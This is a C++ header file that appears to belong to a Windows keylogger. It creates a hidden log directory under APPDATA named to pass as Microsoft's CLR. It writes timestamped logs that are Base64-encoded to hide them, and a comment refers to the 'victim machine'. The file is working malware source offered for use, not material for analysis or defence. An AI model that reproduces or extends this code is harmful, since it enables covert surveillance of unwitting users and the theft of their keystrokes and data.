io.h

#ifndef IO_H
#define IO_H

#include <string>
#include <cstdlib>
#include "windows.h"
#include "helper.h"
#include "base64.h"

namespace IO{
    std::string GetOurPath(const bool append_seperator = false)
    {
        std::string appdata_dir(getenv("APPDATA"));
        std::string full = appdata_dir + "\\Microsoft\\CLR";
        return full + (append_seperator ? "\\" : "");
    }


    //wont work if user aint the correct one on the victim machine
    bool MkOneDr(std::string path){
        return (bool)CreateDirectory(path.c_str(), NULL) ||
        GetLastError() == ERROR_ALREADY_EXISTS;
    }

    bool MKDir(std::string path){
        for(char &c : path)
        if(c == '\\'){
            c='\0';
            if(!MkOneDr(path))
                return false;
            c = '\\';
        }
        return true;
    }

    template <class T>
    std::string WriteLog(const T &t )
    {
        std::string path = GetOurPath(true);
        Helper::DateTime dt;
        std::string name = dt.GetDateTimeString("_") + ".log";

        try{
            std::ofstream file(path + name);
            if(!file) return "";
            std::ostringstream s;
            s << "[" << dt.GetDateTimeString() << "]" <<
            std::endl << t << std::endl;
            std::string data = Base64::EncryptB64(s.str());

            file << data;

            if(!file)
                return "";
            file.close();
            return name;

        }
        catch(...)
        {
            return "";
        }
    }
}

#endif // IO_H